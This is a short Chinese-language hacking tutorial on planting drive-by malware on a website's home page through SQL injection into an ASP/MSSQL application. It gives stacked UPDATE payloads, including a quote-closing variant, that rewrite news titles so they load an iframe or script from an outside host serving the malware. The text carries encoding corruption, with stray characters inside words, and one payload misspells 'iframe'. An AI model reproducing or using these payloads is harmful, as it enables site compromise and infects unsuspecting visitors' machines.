這里說(shuō)的是首頁(yè)調用到的數據庫,比如新聞,論壇,公告,等等,一般是標題。這些需要經(jīng)驗去檢測,舉個(gè)例子,比如首頁(yè)有一條新聞為:“明日開(kāi)業(yè)”,那么鼠標點(diǎn)此新聞,地址欄打開(kāi)的新窗口為news.asp?id=1,這種情況,這時(shí),就可以判斷此新聞是從數據庫中調用的了,當然了,我們不說(shuō)access,只說(shuō)mssql。 首頁(yè),我們要有這個(gè)網(wǎng)站中的一個(gè)注入點(diǎn),比如就點(diǎn)在vote.asp?id=123,同時(shí),至少是Db_owner權限,這時(shí)如果要掛馬可以不用取到webshell,因為如果我們的目的只在于掛馬的話(huà),而且有時(shí),還得檢測mssql數據庫和web服務(wù)器不在同一個(gè)機器上,那掛馬的方式就是更改數據庫內容,這里我說(shuō)的就是這種,如上面說(shuō)的,首頁(yè)顯示的一條新聞標題為“明日開(kāi)業(yè)”,如果首頁(yè)顯示的標題是“明日開(kāi)業(yè)</a><iframe src=http://www.fucksb.net/mm.htm width=0 height=0></iframe>”,那這樣的話(huà),首頁(yè)就會(huì )執行這段代碼了,像這種情況,找到了注入點(diǎn),就得找表名,如此新聞的表名為news,字段為title,id,等等,根據猜測,id=1時(shí),暴出的字段title的值就為“明日開(kāi)業(yè)”,那么90%就可以猜到了,首頁(yè)調用的數據庫的字段就為news表中的title,這時(shí)在注入點(diǎn),可以大膽提交vote.asp?id=123;update news set title=‘明日開(kāi)業(yè)</a><iframe src=http://www.fucksb.net/mm.htm width=0 height=0></iframe>‘ where id=1;--,這樣就可以更改數據庫了,前提是最少要少db_owner權限,當然也有時(shí)由于代碼原因,也可以這樣提交:vote.asp?id=123‘;update news set title=‘明日開(kāi)業(yè)</a><ifrmae src=http://www.fucksb.net/mm.htm width=0 height=0></iframe>‘ where id=1 and ‘1‘=‘1,也可以... 這種方法是有問(wèn)題的,實(shí)戰中存在不少問(wèn)題,因為一般的情況下,標題都是通過(guò)<table>來(lái)限制寬度,也就是說(shuō)如果你的標題的長(cháng)度超過(guò)了指定的長(cháng)度,那么你的代碼只能寫(xiě)一半,這樣就不能執行了,所以?huà)祚R最好的方法是用<script>這種方法來(lái)掛馬了,如: vote.asp?id=123;update news set title=‘明日開(kāi)業(yè)</a><script src=http://www.fucksb.net/mm.js></script>‘ where id=1;--長(cháng)度有很大的減少,很不錯。